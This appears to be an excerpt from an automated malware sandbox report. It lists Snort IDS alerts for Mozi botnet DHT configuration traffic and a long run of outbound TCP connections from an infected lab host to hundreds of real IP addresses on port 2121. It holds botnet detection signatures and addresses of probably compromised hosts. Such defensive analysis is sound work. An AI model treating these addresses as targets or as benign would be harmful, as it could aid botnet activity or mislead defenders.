Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.70.142:23558 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.81.47:28229 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 45.139.215.163:20000 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.75.218:14577 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.105:26022 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 95.24.68.114:15190 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 170.51.110.63:19870 -> 192.168.2.3:23481
Source: Traffic	Snort IDS: 2030919 ET TROJAN Mozi Botnet DHT Config Sent 178.72.78.187:26039 -> 192.168.2.3:23481

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 53608 -> 2121
Source: unknown	Network traffic detected: HTTP traffic on port 2121 -> 54511
Source: unknown	Network traffic detected: HTTP traffic on port 2121 -> 54726

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1

Source: global traffic	TCP traffic: 192.168.2.3:49734 -> 141.95.206.77:3333
Source: global traffic	TCP traffic: 192.168.2.3:49736 -> 189.58.161.188:2121
Source: global traffic	TCP traffic: 192.168.2.3:49738 -> 14.95.90.175:2121
Source: global traffic	TCP traffic: 192.168.2.3:49740 -> 50.32.202.75:2121
Source: global traffic	TCP traffic: 192.168.2.3:49742 -> 156.96.221.200:2121
Source: global traffic	TCP traffic: 192.168.2.3:49744 -> 14.73.210.73:2121
Source: global traffic	TCP traffic: 192.168.2.3:49746 -> 185.104.30.242:2121
Source: global traffic	TCP traffic: 192.168.2.3:49748 -> 78.202.193.61:2121
Source: global traffic	TCP traffic: 192.168.2.3:49750 -> 94.130.25.210:2121
Source: global traffic	TCP traffic: 192.168.2.3:49752 -> 50.70.201.118:2121
Source: global traffic	TCP traffic: 192.168.2.3:49754 -> 180.93.190.147:2121
Source: global traffic	TCP traffic: 192.168.2.3:49756 -> 213.27.3.97:2121
Source: global traffic	TCP traffic: 192.168.2.3:49758 -> 36.89.17.195:2121
Source: global traffic	TCP traffic: 192.168.2.3:49760 -> 43.245.207.245:2121
Source: global traffic	TCP traffic: 192.168.2.3:49762 -> 46.63.89.85:2121
Source: global traffic	TCP traffic: 192.168.2.3:49764 -> 80.195.103.106:2121
Source: global traffic	TCP traffic: 192.168.2.3:49766 -> 23.75.123.98:2121
Source: global traffic	TCP traffic: 192.168.2.3:49768 -> 38.23.120.4:2121
Source: global traffic	TCP traffic: 192.168.2.3:49770 -> 188.83.44.25:2121
Source: global traffic	TCP traffic: 192.168.2.3:49772 -> 173.216.176.40:2121
Source: global traffic	TCP traffic: 192.168.2.3:49774 -> 187.142.122.127:2121
Source: global traffic	TCP traffic: 192.168.2.3:49776 -> 79.126.57.130:2121
Source: global traffic	TCP traffic: 192.168.2.3:49778 -> 52.166.127.109:2121
Source: global traffic	TCP traffic: 192.168.2.3:49780 -> 173.173.114.136:2121
Source: global traffic	TCP traffic: 192.168.2.3:49781 -> 94.241.214.148:2121
Source: global traffic	TCP traffic: 192.168.2.3:49784 -> 98.208.164.167:2121
Source: global traffic	TCP traffic: 192.168.2.3:49786 -> 193.13.166.91:2121
Source: global traffic	TCP traffic: 192.168.2.3:49788 -> 138.122.36.109:2121
Source: global traffic	TCP traffic: 192.168.2.3:49790 -> 61.70.221.6:2121
Source: global traffic	TCP traffic: 192.168.2.3:49792 -> 76.184.32.224:2121
Source: global traffic	TCP traffic: 192.168.2.3:49794 -> 81.164.170.246:2121
Source: global traffic	TCP traffic: 192.168.2.3:49795 -> 69.204.117.115:2121
Source: global traffic	TCP traffic: 192.168.2.3:49798 -> 94.76.228.203:2121
Source: global traffic	TCP traffic: 192.168.2.3:49800 -> 92.195.164.24:2121
Source: global traffic	TCP traffic: 192.168.2.3:49802 -> 186.55.11.174:2121
Source: global traffic	TCP traffic: 192.168.2.3:49804 -> 92.117.9.68:2121
Source: global traffic	TCP traffic: 192.168.2.3:49806 -> 212.193.183.70:2121
Source: global traffic	TCP traffic: 192.168.2.3:49808 -> 189.179.16.156:2121
Source: global traffic	TCP traffic: 192.168.2.3:49812 -> 95.222.58.248:2121
Source: global traffic	TCP traffic: 192.168.2.3:49814 -> 157.245.171.137:2121
Source: global traffic	TCP traffic: 192.168.2.3:49816 -> 154.22.197.172:2121
Source: global traffic	TCP traffic: 192.168.2.3:49818 -> 87.166.232.252:2121
Source: global traffic	TCP traffic: 192.168.2.3:49821 -> 86.7.89.66:2121
Source: global traffic	TCP traffic: 192.168.2.3:49822 -> 108.39.87.22:2121
Source: global traffic	TCP traffic: 192.168.2.3:49825 -> 23.99.230.237:2121
Source: global traffic	TCP traffic: 192.168.2.3:49827 -> 195.65.102.198:2121
Source: global traffic	TCP traffic: 192.168.2.3:49829 -> 95.137.160.160:2121
Source: global traffic	TCP traffic: 192.168.2.3:49831 -> 212.237.51.154:2121
Source: global traffic	TCP traffic: 192.168.2.3:49833 -> 72.182.55.79:2121
Source: global traffic	TCP traffic: 192.168.2.3:49835 -> 211.61.33.106:2121
Source: global traffic	TCP traffic: 192.168.2.3:49837 -> 184.25.187.202:2121
Source: global traffic	TCP traffic: 192.168.2.3:49839 -> 76.0.18.30:2121
Source: global traffic	TCP traffic: 192.168.2.3:49841 -> 104.224.247.151:2121
Source: global traffic	TCP traffic: 192.168.2.3:49843 -> 186.108.0.46:2121
Source: global traffic	TCP traffic: 192.168.2.3:49845 -> 193.56.132.129:2121
Source: global traffic	TCP traffic: 192.168.2.3:49847 -> 75.118.129.202:2121
Source: global traffic	TCP traffic: 192.168.2.3:49849 -> 122.168.160.34:2121
Source: global traffic	TCP traffic: 192.168.2.3:49851 -> 219.71.29.150:2121
Source: global traffic	TCP traffic: 192.168.2.3:49853 -> 174.180.12.117:2121
Source: global traffic	TCP traffic: 192.168.2.3:49855 -> 212.126.128.49:2121
Source: global traffic	TCP traffic: 192.168.2.3:49857 -> 217.215.204.92:2121
Source: global traffic	TCP traffic: 192.168.2.3:49859 -> 183.105.224.134:2121
Source: global traffic	TCP traffic: 192.168.2.3:49861 -> 188.155.120.62:2121
Source: global traffic	TCP traffic: 192.168.2.3:49863 -> 71.239.176.37:2121
Source: global traffic	TCP traffic: 192.168.2.3:49865 -> 84.135.107.208:2121
Source: global traffic	TCP traffic: 192.168.2.3:49867 -> 187.202.250.43:2121
Source: global traffic	TCP traffic: 192.168.2.3:49869 -> 23.109.118.225:2121
Source: global traffic	TCP traffic: 192.168.2.3:49871 -> 87.214.192.191:2121
Source: global traffic	TCP traffic: 192.168.2.3:49873 -> 67.164.74.141:2121
Source: global traffic	TCP traffic: 192.168.2.3:49875 -> 85.237.246.1:2121
Source: global traffic	TCP traffic: 192.168.2.3:49877 -> 121.129.147.220:2121
Source: global traffic	TCP traffic: 192.168.2.3:49879 -> 115.86.234.108:2121
Source: global traffic	TCP traffic: 192.168.2.3:49881 -> 24.76.88.64:2121
Source: global traffic	TCP traffic: 192.168.2.3:49883 -> 173.175.82.53:2121
Source: global traffic	TCP traffic: 192.168.2.3:49885 -> 185.99.32.51:2121
Source: global traffic	TCP traffic: 192.168.2.3:49887 -> 73.234.156.113:2121
Source: global traffic	TCP traffic: 192.168.2.3:49889 -> 118.39.0.225:2121
Source: global traffic	TCP traffic: 192.168.2.3:49891 -> 211.220.166.148:2121
Source: global traffic	TCP traffic: 192.168.2.3:49893 -> 154.88.117.26:2121
Source: global traffic	TCP traffic: 192.168.2.3:49895 -> 118.43.209.133:2121
Source: global traffic	TCP traffic: 192.168.2.3:49897 -> 217.110.154.156:2121
Source: global traffic	TCP traffic: 192.168.2.3:49899 -> 75.132.118.193:2121
Source: global traffic	TCP traffic: 192.168.2.3:49900 -> 62.226.238.15:2121
Source: global traffic	TCP traffic: 192.168.2.3:49902 -> 95.235.37.164:2121
Source: global traffic	TCP traffic: 192.168.2.3:49904 -> 24.198.84.21:2121
Source: global traffic	TCP traffic: 192.168.2.3:49907 -> 75.173.48.186:2121
Source: global traffic	TCP traffic: 192.168.2.3:49909 -> 201.24.231.171:2121
Source: global traffic	TCP traffic: 192.168.2.3:49911 -> 45.92.32.7:2121
Source: global traffic	TCP traffic: 192.168.2.3:49913 -> 71.11.231.214:2121
Source: global traffic	TCP traffic: 192.168.2.3:49916 -> 185.40.19.90:2121
Source: global traffic	TCP traffic: 192.168.2.3:49917 -> 202.78.174.245:2121
Source: global traffic	TCP traffic: 192.168.2.3:49919 -> 184.24.120.156:2121
Source: global traffic	TCP traffic: 192.168.2.3:49921 -> 153.147.94.64:2121
Source: global traffic	TCP traffic: 192.168.2.3:49922 -> 23.125.13.198:2121
Source: global traffic	TCP traffic: 192.168.2.3:49925 -> 46.165.136.74:2121
Source: global traffic	TCP traffic: 192.168.2.3:49927 -> 116.100.103.50:2121
Source: global traffic	TCP traffic: 192.168.2.3:49929 -> 50.36.123.204:2121
Source: global traffic	TCP traffic: 192.168.2.3:49931 -> 69.206.186.135:2121
Source: global traffic	TCP traffic: 192.168.2.3:49933 -> 121.153.118.98:2121
Source: global traffic	TCP traffic: 192.168.2.3:49935 -> 199.188.201.19:2121
Source: global traffic	TCP traffic: 192.168.2.3:49937 -> 79.27.238.83:2121
Source: global traffic	TCP traffic: 192.168.2.3:49939 -> 189.172.28.68:2121
Source: global traffic	TCP traffic: 192.168.2.3:49941 -> 220.84.54.114:2121
Source: global traffic	TCP traffic: 192.168.2.3:49943 -> 181.94.138.14:2121
Source: global traffic	TCP traffic: 192.168.2.3:49949 -> 58.136.234.150:2121
Source: global traffic	TCP traffic: 192.168.2.3:49951 -> 198.52.133.33:2121
Source: global traffic	TCP traffic: 192.168.2.3:49953 -> 209.52.94.174:2121
Source: global traffic	TCP traffic: 192.168.2.3:49955 -> 157.131.75.98:2121
Source: global traffic	TCP traffic: 192.168.2.3:49957 -> 83.49.48.105:2121
Source: global traffic	TCP traffic: 192.168.2.3:49960 -> 136.55.248.40:2121
Source: global traffic	TCP traffic: 192.168.2.3:49961 -> 166.88.234.210:2121
Source: global traffic	TCP traffic: 192.168.2.3:49964 -> 187.223.234.237:2121
Source: global traffic	TCP traffic: 192.168.2.3:49966 -> 141.5.103.99:2121
Source: global traffic	TCP traffic: 192.168.2.3:49968 -> 183.121.59.131:2121
Source: global traffic	TCP traffic: 192.168.2.3:49970 -> 184.27.193.37:2121
Source: global traffic	TCP traffic: 192.168.2.3:49972 -> 2.177.168.250:2121
Source: global traffic	TCP traffic: 192.168.2.3:49974 -> 174.177.47.92:2121
Source: global traffic	TCP traffic: 192.168.2.3:49976 -> 201.207.2.13:2121
Source: global traffic	TCP traffic: 192.168.2.3:49978 -> 207.59.139.194:2121
Source: global traffic	TCP traffic: 192.168.2.3:49980 -> 102.66.170.177:2121
Source: global traffic	TCP traffic: 192.168.2.3:49984 -> 76.58.185.37:2121
Source: global traffic	TCP traffic: 192.168.2.3:49986 -> 96.33.87.95:2121
Source: global traffic	TCP traffic: 192.168.2.3:49988 -> 52.157.223.8:2121
Source: global traffic	TCP traffic: 192.168.2.3:49990 -> 80.138.30.122:2121
Source: global traffic	TCP traffic: 192.168.2.3:49992 -> 82.58.161.68:2121
Source: global traffic	TCP traffic: 192.168.2.3:49995 -> 126.55.157.243:2121
Source: global traffic	TCP traffic: 192.168.2.3:49996 -> 175.144.110.16:2121
Source: global traffic	TCP traffic: 192.168.2.3:49998 -> 185.112.82.223:2121
Source: global traffic	TCP traffic: 192.168.2.3:50000 -> 92.224.45.43:2121
Source: global traffic	TCP traffic: 192.168.2.3:50002 -> 222.235.207.162:2121
Source: global traffic	TCP traffic: 192.168.2.3:50004 -> 188.149.203.137:2121
Source: global traffic	TCP traffic: 192.168.2.3:50006 -> 115.3.245.17:2121
Source: global traffic	TCP traffic: 192.168.2.3:50008 -> 35.137.79.230:2121
Source: global traffic	TCP traffic: 192.168.2.3:50010 -> 81.42.218.67:2121
Source: global traffic	TCP traffic: 192.168.2.3:50012 -> 98.109.200.140:2121
Source: global traffic	TCP traffic: 192.168.2.3:50014 -> 118.39.216.170:2121
Source: global traffic	TCP traffic: 192.168.2.3:50016 -> 176.250.158.229:2121
Source: global traffic	TCP traffic: 192.168.2.3:50018 -> 184.92.174.200:2121
Source: global traffic	TCP traffic: 192.168.2.3:50020 -> 103.158.96.138:2121
Source: global traffic	TCP traffic: 192.168.2.3:50022 -> 93.132.176.206:2121
Source: global traffic	TCP traffic: 192.168.2.3:50024 -> 125.141.199.181:2121
Source: global traffic	TCP traffic: 192.168.2.3:50026 -> 200.53.2.183:2121
Source: global traffic	TCP traffic: 192.168.2.3:50028 -> 143.95.237.220:2121
Source: global traffic	TCP traffic: 192.168.2.3:50030 -> 200.114.199.4:2121
Source: global traffic	TCP traffic: 192.168.2.3:50032 -> 23.90.136.216:2121
Source: global traffic	TCP traffic: 192.168.2.3:50034 -> 162.154.166.167:2121
Source: global traffic	TCP traffic: 192.168.2.3:50037 -> 2.219.80.86:2121
Source: global traffic	TCP traffic: 192.168.2.3:50038 -> 52.170.160.65:2121
Source: global traffic	TCP traffic: 192.168.2.3:50039 -> 179.35.194.126:2121
Source: global traffic	TCP traffic: 192.168.2.3:50042 -> 14.249.29.152:2121
Source: global traffic	TCP traffic: 192.168.2.3:50044 -> 181.189.205.219:2121
Source: global traffic	TCP traffic: 192.168.2.3:50046 -> 88.64.145.143:2121
Source: global traffic	TCP traffic: 192.168.2.3:50048 -> 74.71.163.123:2121
Source: global traffic	TCP traffic: 192.168.2.3:50050 -> 31.13.93.135:2121
Source: global traffic	TCP traffic: 192.168.2.3:50051 -> 1.239.18.3:2121
Source: global traffic	TCP traffic: 192.168.2.3:50054 -> 167.89.33.6:2121
Source: global traffic	TCP traffic: 192.168.2.3:50056 -> 51.241.164.162:2121
Source: global traffic	TCP traffic: 192.168.2.3:50058 -> 175.229.215.200:2121
Source: global traffic	TCP traffic: 192.168.2.3:50060 -> 125.185.15.162:2121
Source: global traffic	TCP traffic: 192.168.2.3:50062 -> 24.47.171.225:2121
Source: global traffic	TCP traffic: 192.168.2.3:50063 -> 122.218.238.129:2121
Source: global traffic	TCP traffic: 192.168.2.3:50066 -> 104.35.177.234:2121
Source: global traffic	TCP traffic: 192.168.2.3:50067 -> 119.215.150.186:2121
Source: global traffic	TCP traffic: 192.168.2.3:50069 -> 106.217.216.175:2121
Source: global traffic	TCP traffic: 192.168.2.3:50072 -> 24.118.6.108:2121
Source: global traffic	TCP traffic: 192.168.2.3:50074 -> 184.100.218.2:2121
Source: global traffic	TCP traffic: 192.168.2.3:50076 -> 74.72.202.213:2121
Source: global traffic	TCP traffic: 192.168.2.3:50078 -> 91.232.160.176:2121
Source: global traffic	TCP traffic: 192.168.2.3:50080 -> 91.136.142.56:2121
Source: global traffic	TCP traffic: 192.168.2.3:50082 -> 58.124.54.51:2121
Source: global traffic	TCP traffic: 192.168.2.3:50086 -> 187.230.183.100:2121
Source: global traffic	TCP traffic: 192.168.2.3:50084 -> 203.234.232.28:2121
Source: global traffic	TCP traffic: 192.168.2.3:50088 -> 23.38.79.227:2121
Source: global traffic	TCP traffic: 192.168.2.3:50090 -> 20.125.194.19:2121
Source: global traffic	TCP traffic: 192.168.2.3:50092 -> 184.161.88.27:2121
Source: global traffic	TCP traffic: 192.168.2.3:50094 -> 93.2.199.48:2121
Source: global traffic	TCP traffic: 192.168.2.3:50096 -> 190.31.154.111:2121
Source: global traffic	TCP traffic: 192.168.2.3:50098 -> 108.48.144.73:2121
Source: global traffic	TCP traffic: 192.168.2.3:50100 -> 174.163.128.4:2121
Source: global traffic	TCP traffic: 192.168.2.3:50102 -> 24.179.202.180:2121
Source: global traffic	TCP traffic: 192.168.2.3:50104 -> 183.180.102.141:2121
Source: global traffic	TCP traffic: 192.168.2.3:50106 -> 126.145.65.41:2121
Source: global traffic	TCP traffic: 192.168.2.3:50108 -> 88.219.14.222:2121
Source: global traffic	TCP traffic: 192.168.2.3:50110 -> 86.163.255.219:2121
Source: global traffic	TCP traffic: 192.168.2.3:50112 -> 105.106.153.9:2121
Source: global traffic	TCP traffic: 192.168.2.3:50114 -> 38.163.205.174:2121
Source: global traffic	TCP traffic: 192.168.2.3:50116 -> 122.103.236.101:2121
Source: global traffic	TCP traffic: 192.168.2.3:50118 -> 151.213.251.185:2121
Source: global traffic	TCP traffic: 192.168.2.3:50120 -> 112.145.51.143:2121
Source: global traffic	TCP traffic: 192.168.2.3:50122 -> 221.141.105.65:2121
Source: global traffic	TCP traffic: 192.168.2.3:50124 -> 14.93.19.10:2121
Source: global traffic	TCP traffic: 192.168.2.3:50127 -> 178.73.125.6:2121
Source: global traffic	TCP traffic: 192.168.2.3:50129 -> 79.147.46.161:2121
Source: global traffic	TCP traffic: 192.168.2.3:50130 -> 125.136.171.112:2121
Source: global traffic	TCP traffic: 192.168.2.3:50132 -> 36.68.73.78:2121
Source: global traffic	TCP traffic: 192.168.2.3:50135 -> 2.152.90.132:2121
Source: global traffic	TCP traffic: 192.168.2.3:50137 -> 79.220.188.4:2121
Source: global traffic	TCP traffic: 192.168.2.3:50140 -> 116.45.167.56:2121
Source: global traffic	TCP traffic: 192.168.2.3:50142 -> 46.28.181.211:2121
Source: global traffic	TCP traffic: 192.168.2.3:50144 -> 76.16.81.1:2121
Source: global traffic	TCP traffic: 192.168.2.3:50146 -> 104.19.99.246:2121
Source: global traffic	TCP traffic: 192.168.2.3:50148 -> 49.169.187.14:2121
Source: global traffic	TCP traffic: 192.168.2.3:50150 -> 46.105.32.44:2121
Source: global traffic	TCP traffic: 192.168.2.3:50152 -> 96.255.156.183:2121
Source: global traffic	TCP traffic: 192.168.2.3:50154 -> 94.145.254.103:2121
Source: global traffic	TCP traffic: 192.168.2.3:50156 -> 222.113.142.212:2121
Source: global traffic	TCP traffic: 192.168.2.3:50158 -> 2.154.104.236:2121
Source: global traffic	TCP traffic: 192.168.2.3:50160 -> 71.224.190.208:2121
Source: global traffic	TCP traffic: 192.168.2.3:50162 -> 187.135.24.180:2121
Source: global traffic	TCP traffic: 192.168.2.3:50164 -> 73.38.174.234:2121
Source: global traffic	TCP traffic: 192.168.2.3:50166 -> 174.99.119.14:2121
Source: global traffic	TCP traffic: 192.168.2.3:50168 -> 75.143.172.33:2121
Source: global traffic	TCP traffic: 192.168.2.3:50170 -> 156.245.32.185:2121
Source: global traffic	TCP traffic: 192.168.2.3:50172 -> 173.176.71.228:2121
Source: global traffic	TCP traffic: 192.168.2.3:50174 -> 154.28.115.120:2121
Source: global traffic	TCP traffic: 192.168.2.3:50176 -> 40.68.252.107:2121
Source: global traffic	TCP traffic: 192.168.2.3:50178 -> 178.33.37.80:2121
Source: global traffic	TCP traffic: 192.168.2.3:50179 -> 20.89.59.62:2121
Source: global traffic	TCP traffic: 192.168.2.3:50181 -> 109.122.8.49:2121
Source: global traffic	TCP traffic: 192.168.2.3:50180 -> 179.67.21.110:2121
Source: global traffic	TCP traffic: 192.168.2.3:50186 -> 58.232.200.27:2121
Source: global traffic	TCP traffic: 192.168.2.3:50188 -> 45.148.30.136:2121
Source: global traffic	TCP traffic: 192.168.2.3:50190 -> 106.180.166.6:2121
Source: global traffic	TCP traffic: 192.168.2.3:50192 -> 87.165.220.115:2121
Source: global traffic	TCP traffic: 192.168.2.3:50194 -> 98.203.111.101:2121
Source: global traffic	TCP traffic: 192.168.2.3:50197 -> 182.65.111.130:2121
Source: global traffic	TCP traffic: 192.168.2.3:50198 -> 81.66.188.1:2121
Source: global traffic	TCP traffic: 192.168.2.3:50200 -> 94.2.16.9:2121
Source: global traffic	TCP traffic: 192.168.2.3:50202 -> 154.216.119.141:2121
Source: global traffic	TCP traffic: 192.168.2.3:50204 -> 160.13.70.35:2121
Source: global traffic	TCP traffic: 192.168.2.3:50209 -> 194.224.19.241:2121
Source: global traffic	TCP traffic: 192.168.2.3:50210 -> 156.250.253.76:2121
Source: global traffic	TCP traffic: 192.168.2.3:50211 -> 71.197.186.51:2121
Source: global traffic	TCP traffic: 192.168.2.3:50213 -> 93.212.237.238:2121
Source: global traffic	TCP traffic: 192.168.2.3:50214 -> 49.61.195.250:2121
Source: global traffic	TCP traffic: 192.168.2.3:50216 -> 87.119.247.245:2121
Source: global traffic	TCP traffic: 192.168.2.3:50218 -> 154.216.96.187:2121
Source: global traffic	TCP traffic: 192.168.2.3:50220 -> 170.130.143.180:2121
Source: global traffic	TCP traffic: 192.168.2.3:50222 -> 176.94.105.202:2121
Source: global traffic	TCP traffic: 192.168.2.3:50224 -> 1.236.178.146:2121
Source: global traffic	TCP traffic: 192.168.2.3:50226 -> 83.49.11.85:2121
Source: global traffic	TCP traffic: 192.168.2.3:50228 -> 182.65.175.207:2121
Source: global traffic	TCP traffic: 192.168.2.3:50230 -> 173.91.48.57:2121
Source: global traffic	TCP traffic: 192.168.2.3:50232 -> 72.27.24.55:2121
Source: global traffic	TCP traffic: 192.168.2.3:50234 -> 176.254.107.224:2121
Source: global traffic	TCP traffic: 192.168.2.3:50237 -> 60.106.169.180:2121
Source: global traffic	TCP traffic: 192.168.2.3:50240 -> 34.74.161.243:2121
Source: global traffic	TCP traffic: 192.168.2.3:50242 -> 125.26.5.217:2121
Source: global traffic	TCP traffic: 192.168.2.3:50244 -> 220.117.34.3:2121
Source: global traffic	TCP traffic: 192.168.2.3:50246 -> 121.176.239.111:2121
Source: global traffic	TCP traffic: 192.168.2.3:50248 -> 169.255.252.8:2121
Source: global traffic	TCP traffic: 192.168.2.3:50249 -> 75.178.114.189:2121
Source: global traffic	TCP traffic: 192.168.2.3:50252 -> 83.58.204.108:2121
Source: global traffic	TCP traffic: 192.168.2.3:50254 -> 184.14.82.198:2121
Source: global traffic	TCP traffic: 192.168.2.3:50256 -> 183.104.185.73:2121
Source: global traffic	TCP traffic: 192.168.2.3:50257 -> 75.181.139.181:2121
Source: global traffic	TCP traffic: 192.168.2.3:50260 -> 98.249.95.156:2121
Source: global traffic	TCP traffic: 192.168.2.3:50262 -> 42.83.36.174:2121
Source: global traffic	TCP traffic: 192.168.2.3:50263 -> 5.137.215.73:2121
Source: global traffic	TCP traffic: 192.168.2.3:50265 -> 189.105.145.95:2121
Source: global traffic	TCP traffic: 192.168.2.3:50268 -> 2.125.3.254:2121
Source: global traffic	TCP traffic: 192.168.2.3:50270 -> 111.241.211.225:2121
Source: global traffic	TCP traffic: 192.168.2.3:50272 -> 194.147.140.203:2121
Source: global traffic	TCP traffic: 192.168.2.3:50274 -> 81.0.98.87:2121
Source: global traffic	TCP traffic: 192.168.2.3:50276 -> 189.130.192.12:2121
Source: global traffic	TCP traffic: 192.168.2.3:50278 -> 34.110.211.12:2121
Source: global traffic	TCP traffic: 192.168.2.3:50279 -> 46.31.221.42:2121
Source: global traffic	TCP traffic: 192.168.2.3:50282 -> 75.136.107.29:2121
Source: global traffic	TCP traffic: 192.168.2.3:50284 -> 138.186.240.234:2121
Source: global traffic	TCP traffic: 192.168.2.3:50286 -> 79.145.73.225:2121
Source: global traffic	TCP traffic: 192.168.2.3:50288 -> 216.93.6.61:2121
Source: global traffic	TCP traffic: 192.168.2.3:50290 -> 208.167.231.235:2121
Source: global traffic	TCP traffic: 192.168.2.3:50292 -> 62.85.40.27:2121
Source: global traffic	TCP traffic: 192.168.2.3:50294 -> 115.16.222.103:2121
Source: global traffic	TCP traffic: 192.168.2.3:50296 -> 125.158.95.57:2121
Source: global traffic	TCP traffic: 192.168.2.3:50299 -> 222.233.104.163:2121
Source: global traffic	TCP traffic: 192.168.2.3:50301 -> 59.26.124.48:2121
Source: global traffic	TCP traffic: 192.168.2.3:50303 -> 88.34.110.137:2121
Source: global traffic	TCP traffic: 192.168.2.3:50305 -> 83.15.21.5:2121
Source: global traffic	TCP traffic: 192.168.2.3:50307 -> 119.207.128.100:2121
Source: global traffic	TCP traffic: 192.168.2.3:50309 -> 187.144.11.210:2121
Source: global traffic	TCP traffic: 192.168.2.3:50311 -> 220.74.247.111:2121
Source: global traffic	TCP traffic: 192.168.2.3:50313 -> 151.241.50.65:2121
Source: global traffic	TCP traffic: 192.168.2.3:50315 -> 24.167.192.153:2121
Source: global traffic	TCP traffic: 192.168.2.3:50317 -> 211.184.215.114:2121
Source: global traffic	TCP traffic: 192.168.2.3:50320 -> 47.226.122.214:2121
Source: global traffic	TCP traffic: 192.168.2.3:50322 -> 51.195.223.95:2121
Source: global traffic	TCP traffic: 192.168.2.3:50324 -> 206.176.157.172:2121
Source: global traffic	TCP traffic: 192.168.2.3:50326 -> 115.21.97.55:2121
Source: global traffic	TCP traffic: 192.168.2.3:50328 -> 32.220.201.57:2121
Source: global traffic	TCP traffic: 192.168.2.3:50330 -> 20.237.245.48:2121
Source: global traffic	TCP traffic: 192.168.2.3:50333 -> 65.25.90.83:2121
Source: global traffic	TCP traffic: 192.168.2.3:50334 -> 69.246.156.126:2121
Source: global traffic	TCP traffic: 192.168.2.3:50336 -> 123.142.200.124:2121
Source: global traffic	TCP traffic: 192.168.2.3:50338 -> 156.59.130.153:2121
Source: global traffic	TCP traffic: 192.168.2.3:50340 -> 37.194.219.66:2121
Source: global traffic	TCP traffic: 192.168.2.3:50342 -> 217.91.48.110:2121
Source: global traffic	TCP traffic: 192.168.2.3:50344 -> 211.51.115.209:2121
Source: global traffic	TCP traffic: 192.168.2.3:50346 -> 82.25.158.112:2121
Source: global traffic	TCP traffic: 192.168.2.3:50348 -> 89.65.180.227:2121
Source: global traffic	TCP traffic: 192.168.2.3:50350 -> 20.240.22.30:2121
Source: global traffic	TCP traffic: 192.168.2.3:50352 -> 103.171.18.4:2121
Source: global traffic	TCP traffic: 192.168.2.3:50354 -> 58.82.217.31:2121
Source: global traffic	TCP traffic: 192.168.2.3:50356 -> 72.15.195.82:2121
Source: global traffic	TCP traffic: 192.168.2.3:50358 -> 182.233.37.100:2121
Source: global traffic	TCP traffic: 192.168.2.3:50360 -> 27.255.178.207:2121
Source: global traffic	TCP traffic: 192.168.2.3:50362 -> 79.1.84.163:2121
Source: global traffic	TCP traffic: 192.168.2.3:50363 -> 160.8.75.26:2121
Source: global traffic	TCP traffic: 192.168.2.3:50366 -> 167.250.49.132:2121
Source: global traffic	TCP traffic: 192.168.2.3:50368 -> 176.50.2.138:2121
Source: global traffic	TCP traffic: 192.168.2.3:50370 -> 73.253.247.105:2121
Source: global traffic	TCP traffic: 192.168.2.3:50373 -> 207.60.60.164:2121
Source: global traffic	TCP traffic: 192.168.2.3:50374 -> 35.206.72.150:2121
Source: global traffic	TCP traffic: 192.168.2.3:50376 -> 1.99.66.23:2121
Source: global traffic	TCP traffic: 192.168.2.3:50378 -> 62.39.243.238:2121
Source: global traffic	TCP traffic: 192.168.2.3:50380 -> 38.141.150.55:2121
Source: global traffic	TCP traffic: 192.168.2.3:50382 -> 78.37.139.117:2121
Source: global traffic	TCP traffic: 192.168.2.3:50385 -> 183.81.85.206:2121
Source: global traffic	TCP traffic: 192.168.2.3:50386 -> 84.157.236.87:2121
Source: global traffic	TCP traffic: 192.168.2.3:50388 -> 36.237.124.49:2121
Source: global traffic	TCP traffic: 192.168.2.3:50390 -> 46.12.118.54:2121
Source: global traffic	TCP traffic: 192.168.2.3:50392 -> 104.45.86.240:2121
Source: global traffic	TCP traffic: 192.168.2.3:50394 -> 81.244.203.10:2121
Source: global traffic	TCP traffic: 192.168.2.3:50396 -> 187.171.190.253:2121
Source: global traffic	TCP traffic: 192.168.2.3:50398 -> 94.75.136.130:2121
Source: global traffic	TCP traffic: 192.168.2.3:50400 -> 20.85.42.39:2121
Source: global traffic	TCP traffic: 192.168.2.3:50402 -> 180.71.24.70:2121
Source: global traffic	TCP traffic: 192.168.2.3:50404 -> 86.74.150.158:2121
Source: global traffic	TCP traffic: 192.168.2.3:50406 -> 73.80.1.147:2121
Source: global traffic	TCP traffic: 192.168.2.3:50408 -> 203.208.117.246:2121
Source: global traffic	TCP traffic: 192.168.2.3:50410 -> 23.213.84.253:2121
Source: global traffic	TCP traffic: 192.168.2.3:50412 -> 175.126.95.214:2121
Source: global traffic	TCP traffic: 192.168.2.3:50414 -> 130.255.55.29:2121
Source: global traffic	TCP traffic: 192.168.2.3:50416 -> 202.190.86.238:2121
Source: global traffic	TCP traffic: 192.168.2.3:50418 -> 101.36.106.107:2121
Source: global traffic	TCP traffic: 192.168.2.3:50420 -> 41.82.3.49:2121
Source: global traffic	TCP traffic: 192.168.2.3:50422 -> 185.202.73.189:2121
Source: global traffic	TCP traffic: 192.168.2.3:50423 -> 31.223.254.25:2121
Source: global traffic	TCP traffic: 192.168.2.3:50428 -> 112.180.211.218:2121
Source: global traffic	TCP traffic: 192.168.2.3:50426 -> 187.15.180.114:2121
Source: global traffic	TCP traffic: 192.168.2.3:50430 -> 113.22.82.67:2121
Source: global traffic	TCP traffic: 192.168.2.3:50432 -> 84.105.87.59:2121
Source: global traffic	TCP traffic: 192.168.2.3:50434 -> 81.14.76.79:2121
Source: global traffic	TCP traffic: 192.168.2.3:50436 -> 23.64.237.242:2121
Source: global traffic	TCP traffic: 192.168.2.3:50438 -> 102.113.133.157:2121
Source: global traffic	TCP traffic: 192.168.2.3:50440 -> 20.6.0.115:2121
Source: global traffic	TCP traffic: 192.168.2.3:50442 -> 73.44.228.176:2121
Source: global traffic	TCP traffic: 192.168.2.3:50444 -> 67.185.193.24:2121
